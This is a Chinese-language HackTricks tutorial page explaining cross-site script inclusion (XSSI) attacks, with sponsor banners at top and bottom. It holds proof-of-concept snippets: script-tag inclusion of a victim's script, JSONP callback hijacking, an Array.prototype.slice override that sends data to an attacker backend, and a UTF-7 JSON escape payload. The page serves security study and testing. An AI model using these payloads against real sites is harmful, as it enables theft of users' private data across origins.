mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
93 lines
5.9 KiB
Markdown
93 lines
5.9 KiB
Markdown
# XSSI(跨站脚本包含)
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
|
||
## 基本信息
|
||
|
||
XSSI指的是一种利用事实的漏洞,即当使用`script`标签包含资源时,SOP不适用,因为脚本必须能够跨域包含。攻击者因此可以通过**`script`标签**读取包含的所有内容。
|
||
|
||
当涉及动态JavaScript或JSONP时,特别是在使用像cookie这样的环境授权信息进行身份验证时,这一点尤为有趣。当从不同主机请求资源时,cookie会被包含在内。
|
||
|
||
### 类型
|
||
|
||
1. 静态JavaScript(常规XSSI)
|
||
2. 只有在经过身份验证时才能访问的静态JavaScript
|
||
3. 动态JavaScript
|
||
4. 非JavaScript
|
||
|
||
**以下信息是[https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)的摘要**。请查看以获取更多详细信息。
|
||
|
||
|
||
### 常规XSSI
|
||
在这种方法中,私人信息被嵌入到一个全局可访问的JavaScript文件中。攻击者可以使用文件读取、关键字搜索或正则表达式等方法识别这些文件。一旦定位到包含私人信息的脚本,就可以将其包含在恶意内容中,从而未经授权地访问敏感数据。下面是一个示例利用技术:
|
||
```html
|
||
<script src="https://www.vulnerable-domain.tld/script.js"></script>
|
||
<script> alert(JSON.stringify(confidential_keys[0])); </script>
|
||
```
|
||
### 动态基于JavaScript的XSSI和经过身份验证的JavaScript-XSSI
|
||
这些类型的XSSI攻击涉及将机密信息动态添加到响应用户请求的脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同,可能表明存在机密信息。可以使用诸如[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp扩展之类的工具来自动化此过程。
|
||
|
||
如果机密数据存储在全局变量中,可以利用类似于常规XSSI中使用的方法进行利用。但是,如果机密数据包含在JSONP响应中,攻击者可以劫持回调函数以检索信息。这可以通过操纵全局对象或设置一个函数来执行JSONP响应来实现,如下所示:
|
||
```html
|
||
<script>
|
||
var angular = function () { return 1; };
|
||
angular.callbacks = function () { return 1; };
|
||
angular.callbacks._7 = function (leaked) {
|
||
alert(JSON.stringify(leaked));
|
||
};
|
||
</script>
|
||
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
|
||
```
|
||
|
||
```html
|
||
<script>
|
||
leak = function (leaked) {
|
||
alert(JSON.stringify(leaked));
|
||
};
|
||
</script>
|
||
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
|
||
```
|
||
对于不驻留在全局命名空间中的变量,有时可以利用*原型篡改*。该技术利用了JavaScript的设计,其中代码解释涉及遍历原型链以定位调用的属性。通过覆盖某些函数,如`Array`的`slice`,攻击者可以访问并泄漏非全局变量:
|
||
```javascript
|
||
Array.prototype.slice = function(){
|
||
// leaks ["secret1", "secret2", "secret3"]
|
||
sendToAttackerBackend(this);
|
||
};
|
||
```
|
||
进一步的攻击向量细节可以在安全研究人员[Sebastian Lekies](https://twitter.com/slekies)的作品中找到,他维护着一个[vectors](http://sebastian-lekies.de/leak/)列表。
|
||
|
||
### 非脚本-XSSI
|
||
Takeshi Terada的研究介绍了另一种XSSI形式,其中非脚本文件(如CSV)通过在`script`标签中作为源被包含而跨源泄漏。XSSI的历史实例,如Jeremiah Grossman在2006年攻击读取完整的Google通讯录和Joe Walker在2007年的JSON数据泄漏,突显了这些威胁的严重性。此外,Gareth Heyes描述了一种攻击变体,涉及UTF-7编码的JSON以逃逸JSON格式并执行脚本,在某些浏览器中有效:
|
||
```javascript
|
||
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
|
||
```
|
||
|
||
```html
|
||
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
其他支持HackTricks的方式:
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|